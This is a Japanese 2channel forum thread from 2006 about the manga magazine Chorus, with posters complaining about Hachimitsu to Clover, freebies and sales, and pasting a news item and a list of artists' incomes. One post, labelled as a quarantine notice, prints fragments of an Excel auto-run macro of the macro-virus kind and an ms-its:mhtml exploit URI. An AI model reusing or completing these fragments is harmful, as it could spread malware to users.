「天然コケッコー」かぁ、ノスタルジー路線映画にするのかな。 ハチクロ映画はヒットしそうにもないもんね。
ハチクロCMだけで見る気しねぇ
「笑う大天使」に比べればマシそう… まあ、どっちにしろ天コケだろうがハチクロだろうが見る気はしないけど。
プライドの映画化はどうなったの? 結局、御大が昼ドラでデザイナーすすめて終止符?
617 :
花と名無しさん :2006/07/17(月) 09:59:16 ID:s4UfPyu+0
>610 ブスの方はバイト先の店長と 作田(ヒロイン)は職場の後輩と最終回あたりで。
>>609 ただたらこの絵は、わりと最初っからエリカに似てた。初掲載いつだったか忘れたけど。
アシでもやってたのかな?
一目見てエリカ?って間違うくらい影響受けてるよね。ただ作風は地味だけど。
>612 くらもち作品で一番売れたのって、コケコッコ―? おしゃべり階段の方が売れた気もするが、映像化に向いてるから選ばれたのかしらね。
連載中には一切アニメ化も実写化もしなかったのに 急にどうしたんだろう・・・
なんか集英社がここにきてメディア化にプッシュかけてきたって感じだね 映画化するってことはくらもちさんがレギュラーに戻ってくるのかな それで忙しくなる分、今まで休んでもらっていたのだろうか
ここ最近のノスタルジーブームみたいなのには乗っかってる漫画だから 当たれば凄い利益なんだろうけど
ファンとしてはほどほどに駄作扱いでもなくでもヒットもせず、 なんならベルエポックくらいひっそりと公開してほしい
ハチクロ大特集やりすぎ。あんなにページあるとは。漫画を載せろ。 主婦トモは以前コーラスでやってた祭りの漫画よりだいぶ読みやすかった。 絵は変わってないのに。キンタ南無。 ひまわりっていう長い漫画が嫌だった。バンビと同じくらい絵が嫌。 これでこの値段かあ。そして呪いのような付録。
>623 ベルエポックくらいって、それは酷い。 あれは、出演者からもスルーされてるような作品だよw ひっそりし過ぎ 別冊くらもち特集があることに、1000000コケコッコ―!
映像だけ期待する
全14巻で140万部… 一巻あたり10万部… くらもち漫画はそれほど売れてないって、前にこのスレで見たけど 本当だったのか…
それでもモサ・御大の次くらいにでてるんじゃなかったっけ? 従来のコーラス作家の中では
1冊につき印税ってどれくらい入るもんなの? 1〜2割として、140万部なら2800万円くらいか。 印税だけでそれくらいってことだから、漫画家さんもそこそこ売れれば 大きいですね。
>>624 >呪いのような付録
まさにその通り!
値段に見合ってない内容にもムカついた。
コーラスって原稿料3万クラスが何人もいそう。 2万クラスも十人くらい? それでこの内容じゃ買う人がいないわな
で?
付録は即ゴミ箱行きなので環境に優しくない雑誌だな、と改めて思った。
>>635 自分もそう思ってた
せめて燃えるゴミにしてくれ
欲しい人がいたら誰かにあげようと思ってたけど<付録 結局誰もいなくて今までのハチクロ関連の付録をさっき捨てました。 なんとも言えない気持ちになった。 もったいないとかそういう気分じゃなくて・・・怒りかな?
ゴミを作るのに中国に発注かけたりしてるしな 今回のマグネットは買ってないから分からないけど 本誌のミニコースターは中国製だった
>627 うん、1巻10万部って少ないよね。自分もビックリした。 くらもち漫画はコーラス比では売れてるのだから、 他の作家はさらにジリ貧なのか。
別冊の赤ん坊エッセイ漫画ってネタだよね? 納豆をひっくり返してダイブしてぐちゃぐちゃにしたり デザートを全身になすりつけたり 電車の中で缶ジュースを頭からかぶるって・・・。 ネタだとしても、凄く不愉快な描写。 もしマジな話なら、確実に躾の仕方間違ってる。
マンガなんだから誇張はしてるだろうね。
>>609 ,610,611
上田めぐみ、別冊に載ってるんですね。
聞いてみて良かった。
でも、別冊全体に対して、総じて皆さんの評判が悪いので
買わずに立ち読みした方が良さそうですね。
ネタだろうがマジだろうが、食べ物を粗末に扱う描写はイクナイ!
その書き込みこそネタだろ?
レス書いてる人が子持ちか小梨か知りたい
どうでもいい
赤ちゃんってあんなもんじゃないの? コントロール不可
>638 コースターもマグネットも、1月号の携帯クリーナーも 「エスケイジャパン」というとこが製造元らしい ゲーセン向け景品の開発会社で(子会社では携帯グッズ開発) あの手の「MADE IN CHINA」なグッズを中国で作ってるようだね
下らないフロク、もう 付 け ん な や ? 編集さんよ?
893キタワァ
あたし付録けっこう好きだけどな・・・小さいときからこまごまとしたものが好き。 本当の事をいうと、コーラスに付録がつくの最初は嫌だったけど、もう慣れちゃった。 ハチクロの絵は好きだし。あのプードルは嫌いだけど。
ハチクロ、ようつべでアニメ見てみたらあんまりにも いらないエピソード満載のグダグダ展開が続くので 5話くらいで見るのやめた・・・('A`)
>>646 子持ちだけど、1歳のベビーが納豆の中で泳ぐとかプリンを全身塗りたくるってのは
行き過ぎだと思う
そういう子も世の中にはいるよ
いたとしても金払ってまで見たいと思わないな。 自分の子でも見たくない…
別冊のハチクロまみれにはうんざり('A`) 表紙見て買う気が凹んだ。 でも遠野さんが描いてるので無理して買ったよ。 なんとか読めるのが3割程度で今までの別冊のクオリティーをさらに下がった感じがした。 別冊なんだから仕方ないとう問題ではない気がする。 これで本当に読者がついてくると思ってる編集部が恐ろしい・・・ 付録のマグネットはべりっと剥がして利用することなく不燃ゴミへ。 こんなもん本当に嬉しがる奴がいるなら顔を拝みたいね。
子蟻だけど、東村は面白く読んだ。それよりたまきちひろ?とかいうのの3〜4ヶ月の赤抱っこしてタバコ吸う描写が…。 それで女性のキャリアや結婚、仕事がどーとか??? チヤトリもだけど、アラさがししてるつもりはないけど、話の面白い以前に不愉快になりたくない。
たまきだもの、しょーがないって
朝比奈課長 社内結婚て隠せるの? 何故社内結婚でやり手の社員にマグロ釣りさせるの? いまいちよくわからない…
結婚したら扶養とか保険とかその他色々変更が あるはずなんだけどね。 お互いの扶養に入らなくても、所得税とか住民税の 都合上、苗字や住所が変わった事は届けないと まずかったと思うけど。 表面上は旧姓のまま仕事が出来てもさ。
東村、どんな不愉快な漫画かと思って見たら うちの1番上の子の小さい時と同じだ〜 小5の今は3人の子の中で1番几帳面でまともだけど 小さい時はああだった なつかしー
モサマンガの季節が不明
赤ちゃんのマンガ、少なくともネタとして面白くない。 誰もが「なつかしー」と目を細めて読めるってものでもないだろう。 私は子蟻だけど不快だった。
>>658 ハゲド
読める漫画3割もなかったなー。クオリティ下がる一方だ。
あんな付録作り手も欲しくないんジャマイカ。値段つり上げるためとしか思えん。
ウチの近くは全部紐でくくっていたから立ち読みできなかったよ。
つか先にここ見てたら買わなかったのに…激しく後悔 orz
667 :
666 :2006/07/18(火) 19:24:57 ID:???0
うわーオーメンだ やっぱついてねえ…orz 連投ゴメソ
モサが安心して読める漫画になっていたorz
モサは空気。くだらなすぎて語る内容もない。 以前はネタとして笑われてたが、今やそれすらもない…
>661-662 取引先(外資)の総合職エリートカポーは社内結婚OPENにしてない。 もちろん夫婦別姓で、籍入れてない。そのリベラルさが自慢らしくて、 彼等の同僚は結婚知らないけど、なぜか取引先の私には嬉しそうに教えてくれた… 今って、個人情報開示しないシステムだから、結婚黙ってる人偶にいるよ、 当然、離婚しても黙ってる(自分は、今は人事部なんて、手続き上分るけど) ところで、もさヒロインって総合職なの?なんか、腰掛けっぽいノリだけど 仕事は任されてる設定ぽいよね。
手続き上分るなら、モサの設定は成立しないのでは
どうなんだろ。でもまぁ隠そうと思えば隠せるんじゃない? ただ、社内結婚だと、普通はどっちかが部署替わるよね。 同じ部署って周りがやりにくいし。ましてや妻や夫が部下なんてキモイ 査定も身内贔屓に思われそうだ。
>664 見れば分かるだろ パリが真冬で東京が真夏だよw
ワロ
高名な書道家の割に仕事へのスタンスは変だ 息子とヨメが結婚公表したら作品書いてやる、って 公私混同もいいとこだ
羽海野チカ『ハチミツとクローバー (9)』初登場第1位! 尾田栄一郎『ONE PIECE (42)』第2位! コミックランキング 順位 タイトル 著者名 出版社 価格 1(-) ハチミツとクローバー (9) 羽海野チカ 集英社 420円 2(1) ONE PIECE (42) 尾田栄一郎 集英社 410円 3(-) xxxHOLiC (9) CLAMP 講談社 560円 4(2) DEATH NOTE (12) 大場つぐみ 原作 小畑 健 画 集英社 410円 5(-) ツバサ (15) CLAMP 講談社 410円 6(-) ラブ★コン (14) 中原アヤ 集英社 410円 7(-) ARIA (9) 天野こずえ マッグガーデン 580円 8(-) 蒼天の拳 (15) 原 哲夫 武論尊 監修 新潮社 530円 9(-) ヤマトナデシコ七変化 (16) はやかわともこ 講談社 410円 10(4) 銀魂 (13) 空知英秋 集英社 410円
別に今更そんなランキング貼られても
ウザ
まりちゃんの友達二人は入籍だけだと言っていたけど 式挙げたんだね。 作田の式では念写はあったのかな
>676 いくらダイニング向けとはいえ 最後に出てきた 「ねこおじや」の 大先生の作品の方が問題かと… 同じ姓で課長と親子だと気付く者がいないのか?
買ってもすぐ売っぱらうような器のちっさい漫画でも 売れれば神だもんな。
何を当然のことを
別冊、上田めぐみのために買いたくなった YY時代は別に普通にあれば読むって感じだったけど、 なぜか今ああいうのに飢えてるわ
どこを読めばそういう絶賛が出るのか分からない
YY別冊なら休刊後メディアファクトリーに行ってもうコミックス出してる 森下えみこ(改名前 杉野ハルナ)の方がまだ読めた 小栗左多里もコーラス離れてあっちで成功したし
>678 コーラスでランクインする人ってハチクロだけ?
>684 私も上田めぐみが載ってると知って買ったヨ 私は何故か彼女の描いたものは一作も逃さずに読みたい。 だけど他人がけなしていても腹が立たない まりちゃん家って前にみんなが柔道ごっこして暴れた家だね。 結構広い家なんだよね
ページ少ないから立ち読みで大丈夫だよ
最近のコーラスは腐ってるから 売り上げに貢献するのが嫌になる。 買わないで編集部に思い知らせてやりたい!! と思いつつ、・・・・売り上げ落ちたら廃刊になるやんねぇ・・・or2 ハチクロジンクスオソロシス
>>689 >だけど他人がけなしていても腹が立たない
分かる!それ分かるよwww
けなすというかべつに面白くないし
とはいえ、今の別冊は あの程度の新人で埋めるしかないだよな
元YY読んでた組か、読んでた中で上田めぐみを面白がっていたかで、細かい分類ができそう。 私はYY時代から読んでる上田めぐみ好き。 そして、このスレにいる『ハチクロが人気がある事を受け入れられない人間』が嫌いだ。 割り切れない人間なのか、純粋で夢見る乙女なのか、元信者なのか知らんけど、商業的に 成功してる物を、小姑目線バリの勢いで毛嫌いするのは、何かのアレルギー? コーラスを創刊当時から読んでる私から目線では、ハチクロは「老若男女・日頃は少女漫画を 読まない派、という層も含めて楽しめる漫画」だと思う。だから実際売れてるんだと思う。 だけどそれを認めようとしない人がいて、このスレでその人が張り切れば張り切るほど痛々しい。
工作活動みたく、ただ「面白い」と書き込みに来るだけじゃ話にもならない >張り切れば張り切るほど痛々しい。 こんな言い方をするのも、話にならない
上田めぐみは 好きでなければ、視界に入れる事すらもできないから アンチがいない。 読んで腹をたてられる様な救いがないというか 一瞬あの絵を見ただけでページを飛ばされそう
ハチクロアンチは相変わらずの入れ食い状態か。。。
>>695 元YY組の上田めぐみ好きだけど、
ハチクロが人気があるという客観的事実は
どういう立場であれみんな分かっているでしょ
ただ、ハチクロが好きか嫌いかどうでもいいかで
その事実を歓迎するか苦々しく思うか無関心かと
反応が分かれてるだけかと
で、なぜに上田めぐみからハチクロ?
700 :
695 :2006/07/20(木) 00:56:42 ID:???0
あくまで個人の意見だけど と入れるのを忘れてた。すまそ。 ハチクロに対する風当たりの強さがいささか異常な気がして、書いただけです。
ハチクロが嫌いといっても 最初から嫌いな人と、好きだったのに今は嫌いになった人がいるだろうに
今は元からハチクロ嫌いな人に加えて、 なんやよう分からんのに付録ばっかつけやがってハチクロうぜー と思うコーラスで初見の読者と、 ここ最近の急展開で一気にアンチになった元信者で、アンチが急増 特に元信者の勢いは増すばかり 無関心派と現信者から見ると異常に見えても仕方なか
>>700 人気が出ればそれだけアンチも増えるだろ
コーラスの読者は ハチクロが面白いか面白くないか よりも いきなり連載途中で乗り込んできて 訳が分からないままにのっとられた感じがするから 嫌なだけなのでは? ハチクロスレのアンチとは違うところから嫌っている気がする。
人それぞれだと思うけど。 ”乗っ取られる”って、自分はそんなウエットな気持はないよw むしろ、ハチクロ売上で、コーラスが延命されればいいや。 ただ、ハチクロ特需を活かして、新規作品投入とか、 前向きに新人育てるとかしないで、どんどん、使えない人増やしてる 今のポリシーよく分らんワ。
ああ、そう
乗っ取られたまでは思わないけど 元々コーラスしか読んでない私には、ハチクロわけわからん。 誰が誰を好きで過去こんなことがあったとか知らないから 話見えない。 だから「面白くない」。それだけ。 >ハチクロは「老若男女・日頃は少女漫画を >読まない派、という層も含めて楽しめる漫画」 これは違うと思うよ。 普段少女漫画を読まない人があのゴチャゴチャを受け入れられないでしょ。
自分はハチクロが来るのが楽しみだった 予告ではカワイイ絵だったし 人気があるから面白いんだろうなとワクワクしてたら 何、あの暗くて訳がわからない話は
YYハチクロが来た時も別になんとも思ってなかったけど 「全プレ」「付録」とかはじめたのでドンドンイヤになっていった コーラスでもおなじ
>>707 自分の周りだけ見ると、少年漫画しか読まない派の30代に人気だよ。ハチクロって。
あれをゴチャゴチャと感じるのは少女漫画読み故だと思う。
コーラス創刊時から読んでるからかな ハチクロがいきなし連載始めしかも途中から… 意味も内容もわからないし世代違いがあるとも感じた ハチクロって10代向けじゃないの?20代向けなんかな? 付録もいらんし…アンチになる要素が大杉
>>681 アラ、よく見たらwww
あれが全力で依頼して高名な書道家に書かせた作品かw
前からハチクロを読んでいる人は コーラスに来てから のハチクロについてはどう思うの? はじめてあそこから読んでも面白い話だと思う?
>>713 自分はYYからの移籍組でもともとはハチクロ好きでした。(キューコミ時代頃の)
でもコーラスに移ってからのハチクロは面白くないと思う。
途中から読まされる上にあの暗くてキモい(叔父が姪を好きとか寒い)展開じゃあ嫌われても仕方ない。
付録もほんといらないし。
ハチクロ本スレですら阿鼻叫喚の嵐だよねー。 なんかあの主人公のちっさい女の子に こむぎと同じものを感じる。 犬ならまだ許せるんだけどね。
>>713 特にファンにもならず単行本も買わずにキューコミから読んでるだけだけど、
もうちょっと入りやすい描き方したら良かったのになとは思う
でもアレルギー反応おこしてるみたいな嫌い方してる人もいるなあってのも感じる。
YYスレでもそんな感じの反応もあったような。
よくも悪くもある種作品としては成り立ってるし、売れてもいるし、イラネとは思わない
りぼん組は心底いらないのではと思うけど…
かくいう自分も上田好きです
(YY末期にちょっと書いたら叩かれた…まあ好き好き言うほどの漫画でもないってのもワカル)
YY時代、はぐの相手が森田、竹本のどっちになるかの話題で専スレが荒れまくってた時期があったけど
「こんなにスレが荒れるなら、もういっそどっちでもない修ちゃんでいいよ」なんていう冗談があった
コーラス移転して、その通りになっちゃって今更つーか、もうお疲れさんって気分になりました
>>714 叔父姪は映画設定で、漫画はいとこ同士じゃなかった?
自分も最初は叔父姪だと思ってたけど
はぐ父親と修ちゃんがいとこ同士であってると思う。 YYから読んでる組だけど、見守り系お父さんキャラから 男キャラへの変貌もあんまり違和感無いな。
>>705 リニューアルしてすさまじく劣化したのは確かだよね。
ホントにハチクロ特需を活かして、おもしろい作品を増やしたり
新人育てたりしやいいのに、なんでつまらん作家ばっかり投入するのか。
逆にハチクロがあるから部数減らんだろう、といってあのつまらん作品の嵐なのか。
>>711 ハチクロって20代向けじゃない希ガス
ってか10代が夢見る大学生活ファンタジーって感じ。
コーラス移籍から読んで、1巻も読んでみたけど全然ダメだった。
主人公が気持ち悪いのと、どうしても全部が子供っぽくていい年して何しとるんだ、と。
なんかオタクくさい作風とテンションが異様に高いギャグ(?)も嫌いだ。
ファンの人スマソ
ハチクロは誰に感情移入すればいいのかワカラン なんか腐女子の夢物語を延々読まされているような
竹本に感情移入してたら ボロボロにされますた(´;ω;`)
血の繋がりとか等親じゃなくて、 見た目も中身もロリロリで且つ自分の娘のような存在だったはぐに、 父親代わりの修が恋愛感情を持つというのがキモイ しかも親バカを思わせることはたくさん描いておきながら、 恋愛感情については前フリなく本当に突然だったし
724 :
花と名無しさん :2006/07/20(木) 20:33:40 ID:VVXZOvxO0
ちょっと前に 池谷理香子さんて言う方が 『天使の卵』ての書いてましたよね。 原作は、作家さんでしたが。 あの方は、コーラスでは あんまり書かれないんですか? 絵が綺麗だなぁ〜と思っていたのですが あれっきり、全く見ないので・・。
726 :
花と名無しさん :2006/07/20(木) 20:39:39 ID:VVXZOvxO0
もう立ち読みで充分なのに 付録のせいで、紐付き・・。 立ち読みできません。 何処に行ったら、立ち読みできるんだ。
別冊の宝石屋の話読んだ 前回キャバ嬢とオッサンの話は男性誌でやれみたいな感じだったけど 今回の話はよかった
728 :
ひみつの検疫さん :2024/08/20(火) 10:12:42 ID:MarkedRes
汚染を除去しました。
kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\
一般人=ハチクロ好き コーラスヲタ=ハチクロ異常に叩く まあ雑誌売れなくて当然だ罠
なんだハチクロ儲か
コーラスヲタ・・・ しっくりこないw
>>724 今風の絵や話の漫画ってあまり好きじゃないけど、
この人の漫画には引きつけられるものがあったなあ
好みじゃないけど実力は認めざるを得ない感じ
なんでこの人が茎に行ってチヤトリなんかがコーラスに・・・
じゃぁコーラス隊で
>>724 ,725
そして茎でも「絵がキモイ」と言われてた
>>727 たまにならいいけど毎回ああいう感動路線で媚びられてもね・・・。
話も人の描き方(絵の技術じゃなく)も、なんか浅さを感じる。
ハチクロをちょっと悪くいうとウィルス貼るって ハチクロ信者はガキかw
夏の恒例ウイルス貼りをハチクロ信者のせいにしたがるアンチ乙。
http://comic6.2ch.net/test/read.cgi/gcomic/1153293563/n300-301 300 :2005年度法人申告所得 :2006/07/19(水) 19:46:30 ID:???0
※会社にしてない、あるいは会社名や本名が分からないのは拾えません
また4000万以下は公示されません
(個人の所得税納税額、いわゆる『長者番付』は今年から公示なし
法人の公示も今年が最後)
鳥山明 9億5600万円 バードスタジオ
藤子F不二雄 5億6400万円 藤子エフ不二雄プロ
武論尊 5億1000万円 プロダクション一家
長谷川町子 5億 400万円 (財)長谷川町子美術館
高橋和希 4億9100万円 スタジオダイス
岸本斉史 3億7400万円 スコット
荒川弘 3億7400万円 荒川ワークス
尾田栄一郎 3億3300万円 ビリーウッド
矢沢あい 2億7800万円 矢沢漫画製作所
やなせたかし 2億7000万円 やなせスタジオ
久保帯人 2億2600万円 ペイント・リンチ・ユニオン
北条司 2億 800万円 アトリエねこまんま
井上雄彦 1億9900万円 アイティプランニング
秋本治 1億2800万円 アトリエびーだま
弘兼憲史 1億 500万円 ヒロカネプロダクション
301 :2005年度法人申告所得 :2006/07/19(水) 19:47:19 ID:???0 ハロルド作石 9400万円 作石プロ 赤塚不二夫 9100万円 フジオ・プロダクション 武井宏之 8400万円 武井プロダクション 天王寺大 8400万円 天王寺大事務所 橋口たかし 8300万円 ビーズワークス 赤松健 8100万円 ALN 小畑健 7400万円 ノエル けらえいこ 7300万円 ママレードカンパニー 臼井儀人 6900万円 らくだ社 手塚治虫 6600万円 手塚プロダクション 佐藤秀峰 6400万円 佐藤漫画製作所 浦沢直樹 6200万円 スタジオナッツ 桂正和 5900万円 スタジオカツラ 雷句誠 5500万円 雷句スタジオ 安西信行 5200万円 アールイーシー 永井豪 4000万円 ダイナミックプロダクション
アニメ化されたらドーンと稼げるみたいなんだけど 羽海野チカはどれくらいなんだろうね アニメ化+DVD+映画 コミックス大増刷 ウマー
>>740 他所のスレは知らないけど、コーラススレでは特に
毎夏恒例ってほどのことではないですね
ちなみにハチクロ本スレではアンチスレに転じて以来毎スレ恒例なんですよ
そしてここもハチクロがアンチムードで話題になったらウイルス
ええ、両方見てる人にはバレバレです
>723 その展開は一体… コーラスではじめて読んだ組は親馬鹿とか知らないから ヒロイン怪我した→遠縁らしき学校の先生が献身的に看護した →ヒロイン前から憧れて大好きだった→心からの告白→両思い ハートフルだな〜 と思っていたよ コーラスに来てから過去の展開から切り離して 話の方向を変えたのか?
えーと、修とはぐのは恋愛感情になるのかな? 私はてっきりあれは芸術家と補助支援者の立場としてだと思っていたよ。 はぐが必要としていたのは、自分の芸術を誰より理解して協力してくれる人で、好きな人(芸術的に対立 しうる)は好きだけど一緒に生きるには自分の生き方にとって邪魔になってしまうから選ばなかったんだ と。 精神的・技術的な面でのパトロンみたいなもんかなと。
ハチクロスレでどうぞ
修の方は明らかに恋愛感情持ってる
萌え感情じゃないの
私も
>>746 と同じような捉え方してた。
この展開になって以来ハチクロスレが炎上中らしいけど、理解できない。
はぐの方はそのつもりかもしれない
`,、'`,、(ノ∀`)'`,、'`,、
花本先生のちんこセンサーはリカさんに向いてると思ってた
>>746 修は、はぐのこと「好きさ、大好きさ」って言ってたよ。
はぐは、森田のことが好きらしいが。
子供のころから世話してる上にはぐって見た目幼女だし 恋愛感情があったらマジキモい
はぐって子が小さすぎるから不気味なんだよ 普通に描いてれば良かったのに
成長しない幼女をみんなで愛でるのがハチクロワールド
今、下10レスだけ見てハチクロスレに間違えて入ったかと思った・・・
>>746 自分も、はぐと修の関係は、恋愛感情じゃなくてなんつーか岡ひろみと宗形コーチみたいな
関係だろうと思おうとしたけど(特に今月の間宮とあゆの会話で。すると森田が藤堂さんの立場?)、
>>754 の書いてるように「好きさ、大好きさ」の表情で、やっぱ男としてはぐを好きなんだと思った。
私もコーラスで初めてハチクロ見て>745みたいに思ってた。 でも、このスレでわかった今までの内容と最近の展開についていけない… はぐが、シーンによっては小学校低学年にしか見えないし 森田となぜ一緒にならないのかがこのスレ見なきゃわからなかったし。 もともとはリカと修ってどういう関係なの? 逢坂みえこのたまちゃんハウスの絵が好きで、古本屋に行ったときに探してみた。 ベルエポックがあったのでパラ見したけど絵が違う… 火消屋小町?だっけ?消防士のは見てみたいけど。 この人の描く手がたまにセクシーで好き。
はぐの足型取ってたばこと比較するっつーのがマジネタとして入ってる時点で・・・
コーラス引越し以前を知らないんだけど ハチクロって ノリスケがワカメと恋愛 って関係でいいんだよね?
まあそんなもんだ。
765 :
745 :2006/07/21(金) 19:30:56 ID:???0
はぐって小さいのか… コーラス来てから小さい事に触れられていませんね。 新展開にして引き延ばし作戦なのかな 物語中では猫ひろしみたいな色物的存在で 変わった人達に好かれていた子が いきなりシリアスな存在になってキモいって事かな
単行本も買ってないただの読者だけど、悪し様にハチクロをこき下ろしてるのは元信者? 愛が憎しみに変わったような叩き…見ていてちょっと怖い。 銀行でパラ見したエンタに載ってたんだけど、NANAのターゲットはギャル系の若者で ハチクロのターゲットは下北で買い物とかしてそうな20代〜30代なんだと。 きっとハチクロ好きな、書いてるライターの主観がありそうな分け方にワロタ。
ハチクロは本スレちょっとでも覗いて来たらいいよ さすがの信者達もハチクロフィルターがとれたらしく まともな意見があるから、この展開がよくわかるよ
この程度で怖いとか言ってたら2chやってられないだろw
修がすきなのはリカちゃんの彼氏の原田 っていう風に読ませる書き方だったよ
なんかそういう人間相関全然わからん こぎつねはわからんままにどうにか読み進められたけど ハチクロは無理だ
以前は原田・リカカップルと一緒に住んでたんだよね修は。 原田がなくなった後リカと一緒に住んでて 今ははぐと一緒に住んでる。
773 :
760 :2006/07/22(土) 17:10:15 ID:???0
>769 おぉ、ありがとう! >772 なるほどなるほど。
過去のストーリーを知っても コーラス以降の話の流れとはつながりませんよ
【国際】サミット帰還でイヤガラセ(?) 胡主席搭乗の中国機割り込みで首相機足止め
主要国首脳会議(サンクトペテルブルク・サミット)を終え、帰国する
小泉純一郎首相を乗せた日本の政府専用機が、離陸直前に中国政府
専用機の“割り込み”にあい、出発が遅れていたことが関係筋の証言で
わかった。日中首脳は同じサミット会場にいながら言葉も交わしておらず、
「冷たい関係」が改めて浮き彫りになった。
同筋によると、小泉首相の専用機は、サミットが終わった今月17日
午後10時、予定通りサンクトペテルブルク近郊のプルコボ空港の駐機場
から牽引(けんいん)車にひかれて動き出した。
しかし、中国の胡錦涛国家主席を乗せた同国政府専用機が突然、空港
の反対側から姿をみせ、牽引を終え自走態勢に入ろうとしていた首相機
の前を通過し、先に滑走路に入り、離陸していった。この間約10分間ほど、
首相機は足止めさせられた形となった。
同筋は「(ロシアの)管制塔がいったんゴーサインを出した首相機の
離陸を待たせ、中国機を先にやったのは偶然とは思えない。中国機が
日本側を牽制(けんせい)するため、首相機の出発に時間を合わせた
可能性もある」と指摘している。
空港当局はロシアを訪問した各国首脳専用機の出発時間を公表して
いないが、空港関係者によると、中国機の出発予定は首相機の後に
なっていたという。
◇
首相同行筋は「そんなことがあったとは知らなかったが、中国側に確認
するまでの話ではないだろう」と語った。
ソース(イザ!・産経新聞)
http://www.iza.ne.jp/news/newsarticle/world/11733/ http://news19.2ch.net/test/read.cgi/newsplus/1153569285/
踏んでも大丈夫かしら
>>777 大丈夫だったよ。むっちゃ細かいグラフだけど。
>>776 これいつの発行部数なの?
つか関係ないけど別コミが発行部数少なくてビックリ
>>779 ヤングレディース物なんてどこも発行部数こんなもんでそ何求めてんの?
フィールヤングやフラワーズはどうすりゃいいんだよw
フィーヤンなんて編プロの作ってる弱小誌と、お味噌雑誌とはいえ集英が作ってる コーラスを比べて安心する方がどうかしてる。 ハチクロ以外の単行本の売れ行きはどっちもどっちだろうし、 そういう意味ではコストのかかってるコーラスの方が危険じゃまいか。
で
まぁ他雑誌と足掛けしてる作家も多いし別に潰れてもいいよ
YYとコーラスが一緒になって、YY休刊は寂しいけど、 ある意味1冊で両方の好きな作家が楽しめるようになると思ったのに とんだ期待ハズレだ
別コミとプチコミがこんなに少ないとはビックリ なんかコーラスとかぶ〜けやYYもそうだし、 過去に自分が好きだった雑誌ほど不人気になっていってる気がする('A`) ちゃおなんて自分の時代はりぼんなかよしに次いで3番手のイメージで 殆ど読んだことないのに・・・
あ〜わかる、ちゃおなんて読んでるヤシはいなかった。 フィーヤンとかも人気あると思ってたんだけどな。 別コミ、プチコミが少ないのは納得だったw
何だかんだ言って、あと5日でまた来月号か。 皆さん買うしょ? そしてまた、ここで罵詈雑言しようよ。
もう買わないお(^^) さすがに学習した。
よ〜しハチミツの話出てるから お兄さん語っちゃうぞ〜 今の本スレは信者がなんでもかんでもとりあえず理由見つけてマンセーも作者も叩いて暴れまくってキモい もう あのスレに平和は訪れないだろう 森田がはぐとくっつかない限りw まぁ2ちゃんだから気にならないが
オラもう買わない
近所の安い漫喫でがんばって急いで読む。 そうすればあのバカ高い付録つきを買うより安く済む。 でもアンケートも出したい・・・。
バカ高い…?超安いと思うけど
なんで超がつくのか
ハチクロの展開もプライドのぐだぐだも、まぁこんなもんかと思って読んでいるが ゴミ付録だけは許せん。
>>795 同意ズラ。
使えるものを捨てるのって大嫌いなんだよ。
頼むからクズ付録つけないでくれ、編集。
しかしワクワクしながら読んだ時があった事、
夢のように思えてきたな・・・。
ズラ…って… コーラスが高いとか、一部の人のレスとか、何か最近のこのスレカネコマチュプ臭がする
>>797 カネコマかどうかはともかく
コーラスの読者層って主婦が多いと思う
そんな主婦層をガッチリ掴むには
無駄な付録は要らないんだけどな、編集部。
コーラス高くね?
別冊の、あの内容での580円は普通に高いと思う
これのどこが超安い(
>>793 )のか・・・
一時は、「スリーコイン(300円)で買える雑誌」というのを ウリにしていたはずなんだが・・・。
というか値段の問題じゃないよ 中身に対して相応かって話だよ 付録も値上げしただけの価値があるものかどうか そう考えると今のコーラスって高いよね
高い
高杉 あの内容なら300円でも高い 私ももう買わない
805 :
暇な馬鹿女 :2006/07/25(火) 04:14:01 ID:IuW5C19P0
>>1 〜
>>804 を見て思った事
コーラス復活の条件
一・ひと月だけ思い切って¥0で配布する。新しい読者が増えるかもなので。
一・賞をなくし新人は排除。新人のを載せてる場合じゃない。エネルギーを大物に。
一・絵的にもシャレたカッコイイ男達を出す。絵柄も作風も今時とは言えないので。
一・読み切り形式の連載を増やす。月刊だと内容忘れるので。
一・金で大物作家を集めまくる。所詮多くの読者がそれを基準に手に取るので。
一・バカっぽい毛色の作品を追加。既愛読者の拒否反応の矛先になり他作がマシに。
一・オカマに描かせる。どのタイプの女からも愛されるコツを知ってそうなので。
またハチクロ掲載誌が廃刊に向かってる? あの漫画はそれまでの雑誌の読者に見キリをつけるきっかけにさせる 何かがあるのかもしれない 「あぁこんな絵や話がこれからの主流なのか…そろそろ買うのやめよう」 とか思わせるものがあるねw
ハチクロは絵柄で騙してるけど結構なヲタ向け漫画だよね 映画板のスレみてもキャラ萌えな人ばっか集まってる感じがしますた
「続きどうでもいい」になってしまう漫画が増えたような。 新人もギャグとかイラストっぽい絵柄ばっかりで物足りない
言ってみれば「モノになった新人」が ショートの、万福の人とサムライの人だもんね あと、モノになりそうな?新人もナントカ遥ってイラストっぽい絵柄だし
顔見えてないじゃん どうやって目合わせんの?
目が合っちゃった
な〜む〜
今月久しぶりに買おうかとおもたら 付録がつくのか。しかもまたハチクロかよ。 勘弁してよ・・・。アンチには辛いんだよ。全プレでいいだろが・・・。
別冊高すぎ バカじゃねーの
